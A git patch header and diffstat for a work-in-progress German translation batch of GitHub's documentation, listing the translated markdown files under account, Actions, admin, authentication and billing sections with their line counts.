From 67d003056ce4674467a04be243f5bca1c8608da7 Mon Sep 17 00:00:00 2001
From: docubot <67483024+docubot@users.noreply.github.com>
Date: Mon, 21 Nov 2022 09:10:15 -0800
Subject: [PATCH] [DO NOT MERGE - WIP Language test]: New translation batch for
 de (#32678)

Co-authored-by: Grace Park <gracepark@github.com>
Co-authored-by: Robert Sese <734194+rsese@users.noreply.github.com>
---
 .../msft-create-translation-batch-pr.yml      |    6 +-
 .../workflows/sync-search-elasticsearch.yml   |    2 +-
 lib/languages.js                              |   11 +-
 translations/de-DE/Placeholder.txt            |    1 +
 .../content/account-and-profile/index.md      |   50 +
 .../index.md                                  |   28 +
 .../index.md                                  |   24 +
 .../managing-your-subscriptions.md            |   84 +
 .../viewing-your-subscriptions.md             |   84 +
 .../about-notifications.md                    |   99 ++
 .../configuring-notifications.md              |  304 ++++
 .../setting-up-notifications/index.md         |   24 +
 ...orkflow-for-triaging-your-notifications.md |   78 +
 .../index.md                                  |   27 +
 .../managing-notifications-from-your-inbox.md |  181 ++
 .../triaging-a-single-notification.md         |   53 +
 .../about-your-organizations-profile.md       |   35 +
 .../about-your-profile.md                     |   49 +
 .../customizing-your-profile/index.md         |   28 +
 .../managing-your-profile-readme.md           |   77 +
 .../personalizing-your-profile.md             |  273 +++
 .../pinning-items-to-your-profile.md          |   45 +
 .../setting-your-profile-to-private.md        |   62 +
 .../index.md                                  |   25 +
 .../index.md                                  |   30 +
 ...contributions-to-your-githubcom-profile.md |   64 +
 ...erview-of-your-activity-on-your-profile.md |   30 +
 ...utions-and-achievements-on-your-profile.md |   55 +
 ...roubleshooting-commits-on-your-timeline.md |   75 +
 .../viewing-contributions-on-your-profile.md  |   97 ++
 ...tributions-not-showing-up-on-my-profile.md |  108 ++
 .../index.md                                  |   29 +
 .../index.md                                  |   32 +
 ...-collaborators-to-a-personal-repository.md |   67 +
 ...-of-your-personal-accounts-repositories.md |   40 +
 ...collaborator-from-a-personal-repository.md |   47 +
 ...ourself-from-a-collaborators-repository.md |   33 +
 ...an-email-address-to-your-github-account.md |   37 +
 ...that-expose-your-personal-email-address.md |   29 +
 .../changing-your-primary-email-address.md    |   33 +
 .../managing-email-preferences/index.md       |   28 +
 .../managing-marketing-emails-from-github.md  |   35 +
 ...membering-your-github-username-or-email.md |   76 +
 .../setting-a-backup-email-address.md         |   28 +
 .../setting-your-commit-email-address.md      |  105 ++
 .../types-of-emails-github-sends.md           |   60 +
 .../about-your-personal-dashboard.md          |   99 ++
 .../changing-your-github-username.md          |   97 ++
 .../index.md                                  |   39 +
 ...rating-jira-with-your-personal-projects.md |   30 +
 ...o-your-personal-accounts-project-boards.md |   39 +
 .../managing-accessibility-settings.md        |   54 +
 ...ysis-settings-for-your-personal-account.md |   54 +
 ...fault-branch-name-for-your-repositories.md |   36 +
 ...-for-githubs-enterprise-marketing-pages.md |   38 +
 ...ging-your-tab-size-rendering-preference.md |   26 +
 .../managing-your-theme-settings.md           |   63 +
 ...evels-for-a-personal-account-repository.md |   98 ++
 ...oject-board-owned-by-a-personal-account.md |   70 +
 ...does-the-available-for-hire-checkbox-do.md |   34 +
 .../about-organization-membership.md          |   59 +
 .../accessing-an-organization.md              |   32 +
 .../index.md                                  |   33 +
 .../managing-your-scheduled-reminders.md      |   54 +
 ...izing-or-hiding-organization-membership.md |   35 +
 .../removing-yourself-from-an-organization.md |   34 +
 ...ng-organization-approval-for-oauth-apps.md |   37 +
 ...iewing-peoples-roles-in-an-organization.md |   68 +
 ...best-practices-for-leaving-your-company.md |   43 +
 .../converting-a-user-into-an-organization.md |   74 +
 .../deleting-your-personal-account.md         |   67 +
 .../managing-your-personal-account/index.md   |   19 +
 .../managing-multiple-accounts.md             |  105 ++
 .../merging-multiple-personal-accounts.md     |   54 +
 .../about-continuous-integration.md           |   60 +
 .../building-and-testing-go.md                |  219 +++
 .../building-and-testing-java-with-ant.md     |  122 ++
 .../building-and-testing-java-with-gradle.md  |  149 ++
 .../building-and-testing-java-with-maven.md   |  145 ++
 .../building-and-testing-net.md               |  247 +++
 .../building-and-testing-nodejs.md            |  310 ++++
 .../building-and-testing-powershell.md        |  247 +++
 .../building-and-testing-python.md            |  415 +++++
 .../building-and-testing-ruby.md              |  331 ++++
 .../building-and-testing-swift.md             |  132 ++
 ...ilding-and-testing-xamarin-applications.md |  122 ++
 .../automating-builds-and-tests/index.md      |   39 +
 .../creating-actions/about-custom-actions.md  |  174 ++
 .../creating-a-composite-action.md            |  142 ++
 .../creating-a-docker-container-action.md     |  252 +++
 .../creating-a-javascript-action.md           |  273 +++
 .../developing-a-third-party-cli-action.md    |   77 +
 .../dockerfile-support-for-github-actions.md  |  116 ++
 .../content/actions/creating-actions/index.md |   34 +
 .../metadata-syntax-for-github-actions.md     |  905 ++++++++++
 ...ublishing-actions-in-github-marketplace.md |   72 +
 .../releasing-and-maintaining-actions.md      |  100 ++
 .../setting-exit-codes-for-actions.md         |   56 +
 ...ions-and-workflows-with-your-enterprise.md |   38 +
 .../about-continuous-deployment.md            |   51 +
 .../deploying-with-github-actions.md          |  173 ++
 .../deployment/about-deployments/index.md     |   20 +
 ...ing-to-amazon-elastic-container-service.md |  180 ++
 .../deploying-docker-to-azure-app-service.md  |  155 ++
 .../deploying-java-to-azure-app-service.md    |  133 ++
 .../deploying-net-to-azure-app-service.md     |  143 ++
 .../deploying-nodejs-to-azure-app-service.md  |  140 ++
 .../deploying-php-to-azure-app-service.md     |  158 ++
 .../deploying-python-to-azure-app-service.md  |  150 ++
 .../deploying-to-azure-kubernetes-service.md  |  128 ++
 .../deploying-to-azure-static-web-app.md      |  116 ++
 .../deploying-to-azure/index.md               |   26 +
 .../deploying-to-google-kubernetes-engine.md  |  220 +++
 .../deploying-to-your-cloud-provider/index.md |   21 +
 .../deploying-xcode-applications/index.md     |   19 +
 .../de-DE/content/actions/deployment/index.md |   24 +
 .../managing-your-deployments/index.md        |   19 +
 .../viewing-deployment-history.md             |   29 +
 ...-security-hardening-with-openid-connect.md |  452 +++++
 ...g-openid-connect-in-amazon-web-services.md |  130 ++
 .../configuring-openid-connect-in-azure.md    |   89 +
 ...uring-openid-connect-in-cloud-providers.md |  141 ++
 ...openid-connect-in-google-cloud-platform.md |   98 ++
 ...uring-openid-connect-in-hashicorp-vault.md |  190 +++
 .../index.md                                  |   24 +
 ...-openid-connect-with-reusable-workflows.md |  109 ++
 .../targeting-different-environments/index.md |   19 +
 .../using-environments-for-deployment.md      |  130 ++
 .../de-DE/content/actions/examples/index.md   |   21 +
 ...ncurrency-expressions-and-a-test-matrix.md |  651 +++++++
 ...g-scripts-to-test-your-code-on-a-runner.md |  410 +++++
 .../using-the-github-cli-on-a-runner.md       |  485 ++++++
 translations/de-DE/content/actions/guides.md  |   79 +
 .../about-self-hosted-runners.md              |  280 +++
 .../adding-self-hosted-runners.md             |  125 ++
 .../autoscaling-with-self-hosted-runners.md   |  107 ++
 ...-hosted-runner-application-as-a-service.md |  188 ++
 ...customizing-the-containers-used-by-jobs.md |  535 ++++++
 .../actions/hosting-your-own-runners/index.md |   38 +
 ...ess-to-self-hosted-runners-using-groups.md |   80 +
 ...and-troubleshooting-self-hosted-runners.md |  285 ++++
 .../removing-self-hosted-runners.md           |  102 ++
 .../running-scripts-before-or-after-a-job.md  |   76 +
 ...a-proxy-server-with-self-hosted-runners.md |   59 +
 .../using-labels-with-self-hosted-runners.md  |  100 ++
 ...using-self-hosted-runners-in-a-workflow.md |   90 +
 translations/de-DE/content/actions/index.md   |   70 +
 .../actions/learn-github-actions/contexts.md  |  894 ++++++++++
 .../environment-variables.md                  |  209 +++
 .../essential-features-of-github-actions.md   |  102 ++
 .../learn-github-actions/expressions.md       |  405 +++++
 .../finding-and-customizing-actions.md        |  209 +++
 .../actions/learn-github-actions/index.md     |   36 +
 .../understanding-github-actions.md           |  102 ++
 ...usage-limits-billing-and-administration.md |  125 ++
 .../adding-labels-to-issues.md                |   78 +
 .../closing-inactive-issues.md                |   83 +
 ...nting-on-an-issue-when-a-label-is-added.md |   80 +
 .../index.md                                  |   25 +
 ...oving-assigned-issues-on-project-boards.md |   79 +
 ...card-is-added-to-a-project-board-column.md |   86 +
 .../scheduling-issue-creation.md              |   98 ++
 ...g-github-actions-for-project-management.md |   48 +
 ...proving-workflow-runs-from-public-forks.md |   20 +
 .../canceling-a-workflow.md                   |   36 +
 .../deleting-a-workflow-run.md                |   26 +
 .../disabling-and-enabling-a-workflow.md      |  111 ++
 .../downloading-workflow-artifacts.md         |   64 +
 .../actions/managing-workflow-runs/index.md   |   35 +
 .../manually-running-a-workflow.md            |   87 +
 .../re-running-workflows-and-jobs.md          |  175 ++
 .../removing-workflow-artifacts.md            |   45 +
 .../reviewing-deployments.md                  |   32 +
 .../skipping-workflow-runs.md                 |   45 +
 .../migrating-to-github-actions/index.md      |   27 +
 ...-from-azure-pipelines-to-github-actions.md |  339 ++++
 ...grating-from-circleci-to-github-actions.md |  422 +++++
 ...ting-from-gitlab-cicd-to-github-actions.md |  486 ++++++
 ...igrating-from-jenkins-to-github-actions.md |  293 ++++
 ...rating-from-travis-ci-to-github-actions.md |  443 +++++
 .../about-monitoring-and-troubleshooting.md   |   79 +
 .../adding-a-workflow-status-badge.md         |   66 +
 .../enabling-debug-logging.md                 |   52 +
 .../index.md                                  |   29 +
 .../notifications-for-workflow-runs.md        |   19 +
 .../using-the-visualization-graph.md          |   27 +
 .../using-workflow-run-logs.md                |  107 ++
 .../viewing-job-execution-time.md             |   29 +
 .../viewing-workflow-run-history.md           |   85 +
 .../about-packaging-with-github-actions.md    |   30 +
 .../actions/publishing-packages/index.md      |   25 +
 .../publishing-docker-images.md               |  259 +++
 .../publishing-java-packages-with-gradle.md   |  274 +++
 .../publishing-java-packages-with-maven.md    |  226 +++
 .../publishing-nodejs-packages.md             |  183 ++
 .../de-DE/content/actions/quickstart.md       |   89 +
 .../automatic-token-authentication.md         |  125 ++
 .../security-guides/encrypted-secrets.md      |  422 +++++
 .../content/actions/security-guides/index.md  |   21 +
 .../security-hardening-for-github-actions.md  |  390 +++++
 .../about-service-containers.md               |  127 ++
 .../creating-postgresql-service-containers.md |  341 ++++
 .../creating-redis-service-containers.md      |  331 ++++
 .../using-containerized-services/index.md     |   25 +
 .../about-github-hosted-runners.md            |  206 +++
 .../connecting-to-a-private-network.md        |  105 ++
 .../controlling-access-to-larger-runners.md   |   53 +
 .../customizing-github-hosted-runners.md      |   91 +
 .../using-github-hosted-runners/index.md      |   23 +
 .../monitoring-your-current-jobs.md           |   33 +
 .../using-larger-runners.md                   |  192 +++
 .../assigning-permissions-to-jobs.md          |   26 +
 .../choosing-the-runner-for-a-job.md          |   22 +
 .../using-jobs/defining-outputs-for-jobs.md   |   22 +
 .../de-DE/content/actions/using-jobs/index.md |   30 +
 .../using-jobs/running-jobs-in-a-container.md |   47 +
 .../setting-default-values-for-jobs.md        |   34 +
 .../using-a-matrix-for-your-jobs.md           |   64 +
 .../actions/using-jobs/using-concurrency.md   |   27 +
 ...ing-conditions-to-control-job-execution.md |   32 +
 .../using-jobs/using-environments-for-jobs.md |   22 +
 .../using-jobs/using-jobs-in-a-workflow.md    |   34 +
 .../using-workflows/about-workflows.md        |  205 +++
 ...hing-dependencies-to-speed-up-workflows.md |  315 ++++
 ...starter-workflows-for-your-organization.md |  102 ++
 .../events-that-trigger-workflows.md          | 1520 +++++++++++++++++
 .../content/actions/using-workflows/index.md  |   43 +
 .../using-workflows/reusing-workflows.md      |  437 +++++
 ...rets-and-runners-with-your-organization.md |   73 +
 .../storing-workflow-data-as-artifacts.md     |  260 +++
 .../using-workflows/triggering-a-workflow.md  |  276 +++
 .../using-github-cli-in-workflows.md          |   78 +
 .../using-starter-workflows.md                |   60 +
 .../workflow-commands-for-github-actions.md   |  959 +++++++++++
 .../workflow-syntax-for-github-actions.md     | 1110 ++++++++++++
 .../de-DE/content/admin/all-releases.md       |   46 +
 .../content/admin/code-security/index.md      |   21 +
 ...guring-code-scanning-for-your-appliance.md |   97 ++
 ...ng-dependency-review-for-your-appliance.md |   55 +
 ...ring-secret-scanning-for-your-appliance.md |   73 +
 ...b-advanced-security-for-your-enterprise.md |  117 ++
 .../index.md                                  |   29 +
 ...d-security-features-for-your-enterprise.md |   63 +
 ...pply-chain-security-for-your-enterprise.md |   22 +
 ...he-dependency-graph-for-your-enterprise.md |   60 +
 .../index.md                                  |   21 +
 ...-vulnerability-data-for-your-enterprise.md |   27 +
 .../about-github-connect.md                   |   74 +
 ...c-user-license-sync-for-your-enterprise.md |   43 +
 ...enabling-dependabot-for-your-enterprise.md |  135 ++
 ...g-server-statistics-for-your-enterprise.md |   30 +
 ...ified-contributions-for-your-enterprise.md |   54 +
 ...ling-unified-search-for-your-enterprise.md |   53 +
 .../configuring-github-connect/index.md       |   29 +
 .../managing-github-connect.md                |   84 +
 .../configuring-a-hostname.md                 |   39 +
 ...onfiguring-an-outbound-web-proxy-server.md |   43 +
 .../configuring-built-in-firewall-rules.md    |  123 ++
 .../configuring-dns-nameservers.md            |   44 +
 ...dress-using-the-virtual-machine-console.md |   34 +
 .../configuring-tls.md                        |   85 +
 .../enabling-subdomain-isolation.md           |   71 +
 .../configuring-network-settings/index.md     |   34 +
 .../network-ports.md                          |   78 +
 ...-enterprise-server-with-a-load-balancer.md |  102 ++
 .../validating-your-domain-settings.md        |   24 +
 .../about-enterprise-configuration.md         |   41 +
 .../accessing-the-administrative-shell-ssh.md |   79 +
 .../accessing-the-management-console.md       |   70 +
 .../command-line-utilities.md                 |  984 +++++++++++
 .../configuring-applications.md               |   25 +
 .../configuring-backups-on-your-appliance.md  |  257 +++
 .../configuring-custom-footers.md             |   40 +
 .../configuring-email-for-notifications.md    |  203 +++
 ...guring-github-pages-for-your-enterprise.md |   92 +
 ...configuring-host-keys-for-your-instance.md |   52 +
 .../configuring-rate-limits.md                |  123 ++
 ...guring-ssh-connections-to-your-instance.md |   52 +
 ...the-referrer-policy-for-your-enterprise.md |   38 +
 .../configuring-time-synchronization.md       |   55 +
 .../configuring-web-commit-signing.md         |   78 +
 .../deploying-github-ae.md                    |   70 +
 ...nabling-and-scheduling-maintenance-mode.md |  104 ++
 .../enabling-private-mode.md                  |   35 +
 .../configuring-your-enterprise/index.md      |   50 +
 .../initializing-github-ae.md                 |  130 ++
 ...aging-github-mobile-for-your-enterprise.md |   40 +
 ...ting-network-traffic-to-your-enterprise.md |   92 +
 .../site-admin-dashboard.md                   |  249 +++
 .../troubleshooting-tls-errors.md             |   86 +
 ...-approving-a-domain-for-your-enterprise.md |   84 +
 .../content/admin/configuration/index.md      |   28 +
 .../about-repository-caching.md               |   21 +
 .../configuring-a-repository-cache.md         |  117 ++
 .../caching-repositories/index.md             |   13 +
 .../about-cluster-nodes.md                    |   80 +
 .../about-clustering.md                       |   41 +
 .../cluster-network-configuration.md          |  132 ++
 ...-availability-replication-for-a-cluster.md |  363 ++++
 ...een-clustering-and-high-availability-ha.md |   51 +
 .../evacuating-a-cluster-node.md              |   90 +
 .../configuring-clustering/index.md           |   32 +
 .../initializing-the-cluster.md               |  162 ++
 ...ting-a-failover-to-your-replica-cluster.md |   49 +
 .../monitoring-cluster-nodes.md               |  125 ++
 .../replacing-a-cluster-node.md               |   32 +
 .../upgrading-a-cluster.md                    |   91 +
 .../about-geo-replication.md                  |   42 +
 .../about-high-availability-configuration.md  |  196 +++
 .../creating-a-high-availability-replica.md   |  108 ++
 .../configuring-high-availability/index.md    |   29 +
 ...ng-a-failover-to-your-replica-appliance.md |   71 +
 ...ering-a-high-availability-configuration.md |   49 +
 .../removing-a-high-availability-replica.md   |   52 +
 .../admin/enterprise-management/index.md      |   24 +
 .../about-system-logs.md                      |   67 +
 .../accessing-the-monitor-dashboard.md        |   42 +
 .../configuring-collectd.md                   |   65 +
 ...ting-a-health-check-for-your-enterprise.md |   58 +
 .../monitoring-your-appliance/index.md        |   22 +
 .../monitoring-using-snmp.md                  |  121 ++
 .../recommended-alert-thresholds.md           |   52 +
 .../setting-up-external-monitoring.md         |   32 +
 .../enabling-automatic-update-checks.md       |   39 +
 .../increasing-cpu-or-memory-resources.md     |  111 ++
 .../increasing-storage-capacity.md            |   93 +
 .../index.md                                  |   28 +
 ...ng-from-github-enterprise-1110x-to-2123.md |  108 ++
 .../upgrade-requirements.md                   |   58 +
 .../upgrading-github-enterprise-server.md     |  262 +++
 ...rise-server-with-github-actions-enabled.md |   48 +
 .../high-availability-for-github-actions.md   |   44 +
 .../index.md                                  |   21 +
 ...ting-github-actions-for-your-enterprise.md |  227 +++
 .../using-a-staging-environment.md            |   52 +
 ...g-github-actions-with-amazon-s3-storage.md |   52 +
 ...-github-actions-with-azure-blob-storage.md |   47 +
 ...ithub-actions-with-google-cloud-storage.md |   57 +
 .../index.md                                  |   22 +
 ...f-hosted-runners-for-dependabot-updates.md |   82 +
 .../about-github-actions-for-enterprises.md   |   55 +
 ...arted-with-github-actions-for-github-ae.md |   38 +
 ...hub-actions-for-github-enterprise-cloud.md |   39 +
 ...ub-actions-for-github-enterprise-server.md |  183 ++
 ...self-hosted-runners-for-your-enterprise.md |  148 ++
 .../index.md                                  |   27 +
 ...ucing-github-actions-to-your-enterprise.md |  140 ++
 ...ating-your-enterprise-to-github-actions.md |   87 +
 .../content/admin/github-actions/index.md     |   26 +
 .../about-using-actions-in-your-enterprise.md |   74 +
 ...-githubcom-actions-using-github-connect.md |   70 +
 .../index.md                                  |   25 +
 ...manually-syncing-actions-from-githubcom.md |  102 ++
 ...-hosted-runners-without-internet-access.md |  101 ++
 ...version-of-the-official-bundled-actions.md |   59 +
 .../index.md                                  |   16 +
 .../using-actions-in-github-ae.md             |   30 +
 translations/de-DE/content/admin/guides.md    |  157 ++
 .../identity-and-access-management/index.md   |   25 +
 ...bout-authentication-for-your-enterprise.md |  148 ++
 ...ication-for-users-outside-your-provider.md |   61 +
 .../changing-authentication-methods.md        |   42 +
 .../managing-iam-for-your-enterprise/index.md |   36 +
 ...d-access-management-for-your-enterprise.md |   49 +
 ...siderations-for-external-authentication.md |  167 ++
 ...f-your-identity-provider-is-unavailable.md |   33 +
 ...-accounts-single-sign-on-recovery-codes.md |   37 +
 .../index.md                                  |   22 +
 .../configuring-built-in-authentication.md    |   57 +
 .../disabling-unauthenticated-sign-ups.md     |   36 +
 .../using-built-in-authentication/index.md    |   22 +
 .../inviting-people-to-use-your-instance.md   |   30 +
 .../using-cas-for-enterprise-iam/index.md     |   10 +
 .../using-cas-for-enterprise-iam/using-cas.md |   56 +
 .../about-enterprise-managed-users.md         |  164 ++
 ...for-your-idps-conditional-access-policy.md |   49 +
 ...uring-oidc-for-enterprise-managed-users.md |   49 +
 ...le-sign-on-for-enterprise-managed-users.md |  117 ++
 ...-for-enterprise-managed-users-with-okta.md |  102 ++
 ...ovisioning-for-enterprise-managed-users.md |   80 +
 .../index.md                                  |   33 +
 ...mberships-with-identity-provider-groups.md |   89 +
 .../migrating-from-saml-to-oidc.md            |   59 +
 .../using-ldap-for-enterprise-iam/index.md    |   10 +
 .../using-ldap.md                             |  216 +++
 .../about-saml-for-enterprise-iam.md          |  128 ++
 ...ning-for-your-enterprise-using-azure-ad.md |   81 +
 ...isioning-for-your-enterprise-using-okta.md |  167 ++
 ...-sign-on-for-your-enterprise-using-okta.md |   54 +
 ...saml-single-sign-on-for-your-enterprise.md |  244 +++
 ...visioning-with-scim-for-your-enterprise.md |  166 ++
 .../enabling-encrypted-assertions.md          |   60 +
 .../using-saml-for-enterprise-iam/index.md    |   42 +
 ...on-for-organizations-in-your-enterprise.md |   58 +
 .../mapping-okta-groups-to-teams.md           |  105 ++
 .../saml-configuration-reference.md           |  150 ++
 ...n-organization-to-an-enterprise-account.md |   45 +
 .../troubleshooting-saml-authentication.md    |  112 ++
 .../updating-a-users-saml-nameid.md           |   35 +
 translations/de-DE/content/admin/index.md     |  135 ++
 .../de-DE/content/admin/installation/index.md |   32 +
 .../index.md                                  |   30 +
 ...talling-github-enterprise-server-on-aws.md |  146 ++
 ...lling-github-enterprise-server-on-azure.md |  113 ++
 ...erprise-server-on-google-cloud-platform.md |  101 ++
 ...ing-github-enterprise-server-on-hyper-v.md |   72 +
 ...thub-enterprise-server-on-openstack-kvm.md |   57 +
 ...ling-github-enterprise-server-on-vmware.md |   58 +
 .../setting-up-a-staging-instance.md          |  161 ++
 .../about-server-statistics.md                |  100 ++
 .../exporting-server-statistics.md            |   47 +
 .../index.md                                  |   18 +
 ...ng-server-statistics-using-the-rest-api.md |   20 +
 .../activity-dashboard.md                     |   40 +
 .../exploring-user-activity/index.md          |   23 +
 .../exploring-user-activity/log-forwarding.md |   62 +
 .../managing-global-webhooks.md               |  100 ++
 .../viewing-push-logs.md                      |   53 +
 .../index.md                                  |   24 +
 ...about-the-audit-log-for-your-enterprise.md |   58 +
 ...ssing-the-audit-log-for-your-enterprise.md |   27 +
 .../audit-log-events-for-your-enterprise.md   | 1482 ++++++++++++++++
 ...uring-the-audit-log-for-your-enterprise.md |   54 +
 ...es-in-the-audit-log-for-your-enterprise.md |   52 +
 ...-audit-log-activity-for-your-enterprise.md |   54 +
 .../index.md                                  |   29 +
 ...ching-the-audit-log-for-your-enterprise.md |  141 ++
 ...aming-the-audit-log-for-your-enterprise.md |  337 ++++
 ...g-the-audit-log-api-for-your-enterprise.md |  138 ++
 .../admin/overview/about-data-residency.md    |   16 +
 .../overview/about-enterprise-accounts.md     |  115 ++
 .../content/admin/overview/about-github-ae.md |   65 +
 .../about-github-enterprise-server.md         |   99 ++
 .../overview/about-github-for-enterprises.md  |   41 +
 .../about-the-github-enterprise-api.md        |   32 +
 .../about-upgrades-to-new-releases.md         |   52 +
 ...-compliance-reports-for-your-enterprise.md |   36 +
 .../creating-an-enterprise-account.md         |   62 +
 .../de-DE/content/admin/overview/index.md     |   29 +
 .../content/admin/overview/system-overview.md |  167 ++
 ...e-ecosystem-support-for-your-enterprise.md |   54 +
 .../enabling-github-packages-with-aws.md      |   61 +
 ...github-packages-with-azure-blob-storage.md |   47 +
 .../enabling-github-packages-with-minio.md    |   58 +
 ...ith-github-packages-for-your-enterprise.md |   52 +
 .../de-DE/content/admin/packages/index.md     |   26 +
 ...ainer-registry-from-the-docker-registry.md |   77 +
 ...inio-storage-bucket-for-github-packages.md |  123 ++
 .../about-enterprise-policies.md              |   30 +
 ...-dependency-insights-in-your-enterprise.md |   40 +
 ...s-for-github-actions-in-your-enterprise.md |  194 +++
 ...rsonal-access-tokens-in-your-enterprise.md |   64 +
 ...olicies-for-projects-in-your-enterprise.md |   70 +
 ...or-security-settings-in-your-enterprise.md |  201 +++
 ...-management-policies-in-your-enterprise.md |  368 ++++
 ...orcing-team-policies-in-your-enterprise.md |   42 +
 .../index.md                                  |   34 +
 ...email-notifications-for-your-enterprise.md |   45 +
 .../about-pre-receive-hooks.md                |   31 +
 ...creating-a-pre-receive-hook-environment.md |  107 ++
 .../creating-a-pre-receive-hook-script.md     |  262 +++
 .../index.md                                  |   24 +
 ...-the-github-enterprise-server-appliance.md |   74 +
 .../de-DE/content/admin/policies/index.md     |   24 +
 .../de-DE/content/admin/release-notes.md      |   19 +
 .../content/admin/user-management/index.md    |   29 +
 ...adding-organizations-to-your-enterprise.md |   97 ++
 .../adding-people-to-teams.md                 |   41 +
 ...-visibility-for-organization-membership.md |   31 +
 .../continuous-integration-using-jenkins.md   |   19 +
 .../creating-teams.md                         |   67 +
 .../index.md                                  |   43 +
 .../managing-projects-using-jira.md           |   76 +
 ...n-organization-owned-by-your-enterprise.md |   63 +
 ...nting-users-from-creating-organizations.md |   27 +
 ...ving-organizations-from-your-enterprise.md |   36 +
 ...ving-users-from-teams-and-organizations.md |   60 +
 ...ctor-authentication-for-an-organization.md |   72 +
 .../restoring-a-deleted-organization.md       |   53 +
 ...-large-file-storage-for-your-enterprise.md |  145 ++
 ...bling-git-ssh-access-on-your-enterprise.md |   53 +
 .../index.md                                  |   26 +
 .../migrating-to-internal-repositories.md     |   70 +
 .../restoring-a-deleted-repository.md         |   41 +
 .../troubleshooting-service-hooks.md          |   53 +
 .../auditing-ssh-keys.md                      |   73 +
 .../auditing-users-across-your-enterprise.md  |  123 ++
 .../best-practices-for-user-security.md       |   39 +
 ...izing-user-messages-for-your-enterprise.md |  111 ++
 ...bership-information-for-your-enterprise.md |   30 +
 .../impersonating-a-user.md                   |   43 +
 .../index.md                                  |   46 +
 ...viting-people-to-manage-your-enterprise.md |   78 +
 .../managing-dormant-users.md                 |   78 +
 ...upport-entitlements-for-your-enterprise.md |   53 +
 ...-a-legal-hold-on-a-user-or-organization.md |   29 +
 ...moting-or-demoting-a-site-administrator.md |   64 +
 .../rebuilding-contributions-data.md          |   32 +
 .../removing-a-member-from-your-enterprise.md |   37 +
 .../roles-in-an-enterprise.md                 |   82 +
 .../suspending-and-unsuspending-users.md      |  103 ++
 ...-a-users-saml-access-to-your-enterprise.md |   61 +
 .../viewing-people-in-your-enterprise.md      |  160 ++
 .../about-migrations.md                       |   51 +
 ...exporting-migration-data-from-githubcom.md |   98 ++
 ...ing-migration-data-from-your-enterprise.md |  105 ++
 ...rom-third-party-version-control-systems.md |   84 +
 .../index.md                                  |   22 +
 .../migrating-data-to-your-enterprise.md      |  153 ++
 ...ring-to-migrate-data-to-your-enterprise.md |  154 ++
 ...authentication-with-saml-single-sign-on.md |   77 +
 ...-token-for-use-with-saml-single-sign-on.md |   33 +
 ...sh-key-for-use-with-saml-single-sign-on.md |   39 +
 .../index.md                                  |   27 +
 ...-and-managing-your-active-saml-sessions.md |   39 +
 .../about-ssh.md                              |   40 +
 ...ng-a-new-ssh-key-to-your-github-account.md |   98 ++
 .../checking-for-existing-ssh-keys.md         |   53 +
 ...-ssh-key-and-adding-it-to-the-ssh-agent.md |  249 +++
 .../connecting-to-github-with-ssh/index.md    |   36 +
 .../testing-your-ssh-connection.md            |   65 +
 .../working-with-ssh-key-passphrases.md       |  112 ++
 .../de-DE/content/authentication/index.md     |   60 +
 .../about-anonymized-urls.md                  |  106 ++
 .../about-authentication-to-github.md         |  114 ++
 .../about-githubs-ip-addresses.md             |   45 +
 .../authorizing-github-apps.md                |   61 +
 .../authorizing-oauth-apps.md                 |  101 ++
 ...onnecting-with-third-party-applications.md |   77 +
 .../creating-a-personal-access-token.md       |  147 ++
 .../creating-a-strong-password.md             |   38 +
 .../githubs-ssh-key-fingerprints.md           |   28 +
 .../index.md                                  |   38 +
 .../preventing-unauthorized-access.md         |   30 +
 ...moving-sensitive-data-from-a-repository.md |  192 +++
 ...wing-your-authorized-applications-oauth.md |   26 +
 .../reviewing-your-authorized-integrations.md |   37 +
 .../reviewing-your-deploy-keys.md             |   32 +
 .../reviewing-your-security-log.md            |  278 +++
 .../reviewing-your-ssh-keys.md                |  108 ++
 .../sudo-mode.md                              |   93 +
 .../token-expiration-and-revocation.md        |   67 +
 ...updating-your-github-access-credentials.md |   88 +
 .../about-commit-signature-verification.md    |  135 ++
 ...adding-a-gpg-key-to-your-github-account.md |   72 +
 .../associating-an-email-with-your-gpg-key.md |   62 +
 .../checking-for-existing-gpg-keys.md         |   49 +
 ...cation-statuses-for-all-of-your-commits.md |   41 +
 .../generating-a-new-gpg-key.md               |   73 +
 .../index.md                                  |   35 +
 .../signing-commits.md                        |   62 +
 .../signing-tags.md                           |   42 +
 .../telling-git-about-your-signing-key.md     |  113 ++
 .../about-two-factor-authentication.md        |   48 +
 ...-github-using-two-factor-authentication.md |   97 ++
 ...delivery-methods-for-your-mobile-device.md |   35 +
 ...-factor-authentication-recovery-methods.md |   90 +
 .../configuring-two-factor-authentication.md  |  155 ++
 ...s-where-sms-authentication-is-supported.md |  142 ++
 ...uthentication-for-your-personal-account.md |   39 +
 .../index.md                                  |   26 +
 ...ccount-if-you-lose-your-2fa-credentials.md |  110 ++
 ...t-and-tag-signature-verification-status.md |   50 +
 .../index.md                                  |   27 +
 ...-verified-email-address-in-your-gpg-key.md |   32 +
 .../deleted-or-missing-ssh-keys.md            |   25 +
 .../error-agent-admitted-failure-to-sign.md   |   52 +
 .../error-bad-file-number.md                  |   66 +
 .../error-key-already-in-use.md               |   44 +
 .../error-permission-denied-publickey.md      |  217 +++
 ...ission-to-userrepo-denied-to-other-user.md |   24 +
 ...on-to-userrepo-denied-to-userother-repo.md |   26 +
 .../error-ssh-add-illegal-option----k.md      |   44 +
 ...e-problem-verify-that-the-ca-cert-is-ok.md |   36 +
 .../error-unknown-key-type.md                 |   44 +
 .../error-were-doing-an-ssh-key-audit.md      |   36 +
 .../troubleshooting-ssh/index.md              |   35 +
 .../recovering-your-ssh-key-passphrase.md     |   44 +
 .../using-ssh-over-the-https-port.md          |   78 +
 translations/de-DE/content/billing/index.md   |   64 +
 ...bout-billing-for-git-large-file-storage.md |   48 +
 .../downgrading-git-large-file-storage.md     |   37 +
 .../index.md                                  |   26 +
 .../upgrading-git-large-file-storage.md       |   42 +
 ...ewing-your-git-large-file-storage-usage.md |   41 +
 .../about-billing-for-github-actions.md       |  115 ++
 .../index.md                                  |   21 +
 ...-your-spending-limit-for-github-actions.md |   62 +
 .../viewing-your-github-actions-usage.md      |   51 +
 ...ut-billing-for-github-advanced-security.md |   90 +
 .../index.md                                  |   23 +
 ...ing-your-github-advanced-security-usage.md |  114 ++
 .../about-billing-for-github-codespaces.md    |  197 +++
 .../index.md                                  |   13 +
 .../viewing-your-github-codespaces-usage.md   |   73 +
 .../about-billing-for-github-copilot.md       |   21 +
 .../index.md                                  |   17 +
 ...naging-your-github-copilot-subscription.md |   52 +
 .../about-billing-for-github-marketplace.md   |   69 +
 .../canceling-a-github-marketplace-app.md     |   62 +
 ...lling-plan-for-a-github-marketplace-app.md |   48 +
 .../index.md                                  |   25 +
